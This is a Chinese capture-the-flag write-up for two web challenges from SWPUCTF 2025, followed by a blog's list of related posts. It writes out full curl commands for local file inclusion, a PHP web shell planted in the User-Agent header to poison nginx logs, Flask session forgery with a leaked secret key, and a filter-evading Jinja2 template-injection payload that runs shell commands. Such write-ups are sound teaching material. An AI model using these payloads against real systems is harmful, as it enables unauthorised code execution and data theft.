SWPUCTF 2025 秋季新生赛wp2

ezez_include(LEI)

猜测是一个读取数据库文件的功能

读一下,得到,说明存在LFI

有/bin/bash,确定是linux系统,读一下nginx配置文件,得到网站根目录是/var/www/html,入口文件时index.php

然后用 php://filter 读取 index.php 源码**,php://filter是php的输入输出流,可以读取文件内容而不执行。配合 convert.base64-encode 会把文件转成 base64 编码返回,避免被 PHP 解析。解码后就能看到完整源码**

复制代码
php://filter/convert.base64-encode/resource=index.php
      ⬆过滤器链     ⬆具体过滤器   ⬆资源路径标识=文件名

去解码

发现漏洞,include($file)文件包含函数没有过滤,直接把我们输入的参数,并把文件内容当作 PHP 代码执行

所以接下来思路:把马写到日志里面,然后include读并执行log,实现rce

看一下源码,是POST,表名叫nss

接下来用尝试curl发一个http请求

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss=../../../../etc/passwd"

成功回显,开始注入

尝试传马,把马写在UA里面

复制代码
curl -A "<?php system(\$_GET['cmd']); ?>" -X POST "http://node1.anna.nssctf.cn:21789/" -d "nss="

-A:改User-Agent字段
-X POST+url:POST格式+目标网页
-d "nss=" 发送一个空的 POST 数据

执行id看一下我是谁,并且看一下日志,传成功了

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=id" -d "nss=../../../../var/log/nginx/access.log"

我是www-data

看目录

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=ls%20/" -d "nss=../../../../var/log/nginx/access.log"

有东西!

直接猫一下

复制代码
curl -X POST "http://node1.anna.nssctf.cn:21789/?cmd=cat%20/ffffflalalallalalalalalalalg" -d "nss=../../../../var/log/nginx/access.log"

拿到flag

我是复读机

先dirsearch扫描一下

发现一个robots.txt页面,提示了一个路径

根据路径找到了输入框

输入1跳到了/forbidden2页面,提示权限不足,猜测还有forbidden1等,试一下

f2:

f1:

f3:

view-source这几个页面,在f2里面看到一个密钥

whatweb扫一下:

有werkzeug(flash的http工具),还有session,应该是一个flask(基于python的web框架)

Flask的session默认存储在cookie里:

格式大致如下:

复制代码
eyJ1c2VyIjoiZ3Vlc3QifQ.afmRoQ.dd80CG5bxURHDXLCHppd1rZjMGU

由三部分组成,用 . 隔开:

部分 内容 说明
第1部分 eyJ1c2VyIjoiZ3Vlc3QifQ Base64 编码的 JSON 数据
第2部分 afmRoQ 时间戳
第3部分 dd80CG5bxURHDXLCHppd1rZjMGU 签名(用 SECRET_KEY 生成)

我们猜测这个密钥就是是secretkey

(curl的详细用法)

先看一眼session

复制代码
curl -sI http://node1.anna.nssctf.cn:23973/ | grep -i "set-cookie"

当前身份是guest

用flask-unsign伪造一个admin的session

复制代码
flask-unsign --sign --cookie "{'user':'admin'}" --secret "S4p3r_6arth_1s_Burning"

用伪造的session访问/Up1oAds

(中间换环境了,现在的环境是28849)

复制代码
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  http://node1.anna.nssctf.cn:28849/Up1oAds

页面回显完整的表单,说明admin进入成功

测试是否存在ssti漏洞

复制代码
curl -X POST \
  -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  -d "payload={{7*7}}" \
  http://node1.anna.nssctf.cn:28849/render

{``{7*7}} 被计算为 49,证明存在 SSTI(服务端模板注入) 漏洞

最终payload

复制代码
 curl -X POST \
  -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.afoBQA.RbfEL8w5Ae2M1V4S8Ul9lT0aXDI" \
  -d "payload={{g['po''p']['__g''lobals__']['__b''uiltins__']['__imp''ort__']('o''s')['po''pen']('cat /f*')['r''ead']()}}" \
  http://node1.anna.nssctf.cn:28849/render
相关推荐
abc_ABC123A11 小时前
flutter开发安卓APP所需搭建的环境
android
xq952712 小时前
Google 授权登录 V2 接入文档 王者归来
android
李少兄13 小时前
MySQL分页重复问题深度剖析
android·数据库·mysql
_李小白14 小时前
【android opencv学习笔记】Day 24: 最大稳定极值区域
android·opencv·学习
问心无愧051315 小时前
ctf show web入门257
android·前端·笔记
张小潇15 小时前
AOSP15 WMS/AMS系统开发 - 远程动画 (ShellAnimation) 源码深度分析
android
朱涛的自习室16 小时前
30天11万行代码,我用 Trae 和 Gemini 造了个 AI 测试引擎
android·前端·人工智能
Digitally16 小时前
如何删除三星 Galaxy 手机中的重复音乐?
android
ch_ziyuan16 小时前
2026新优化神马TV8.5影视点播系统保姆级搭建教程:三后台配置+反编译修改
android·ios·php
帅次17 小时前
Jetpack Compose 动画实战:animateFloatAsState、AnimatedVisibility 与 graphicsLayer 避坑
android·kotlin·gradle·android jetpack